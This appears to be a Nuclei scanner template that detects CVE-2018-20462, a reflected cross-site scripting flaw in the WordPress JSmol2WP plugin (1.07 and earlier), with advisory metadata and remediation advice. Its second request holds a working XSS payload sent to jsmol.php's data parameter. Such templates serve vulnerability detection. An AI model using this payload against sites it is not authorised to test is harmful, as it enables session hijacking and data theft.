WordPress JSmol2WP <=1.07 - Cross-Site Scripting

id: CVE-2018-20462

info:
  name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://wpvulndb.com/vulnerabilities/9196
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20462
    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20462
    cwe-id: CWE-79
    epss-score: 0.03988
    epss-percentile: 0.89172
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "jsmol2wp_project"
    product: jsmol2wp
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,wp-plugin,jsmol2wp_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'JSmol2WP'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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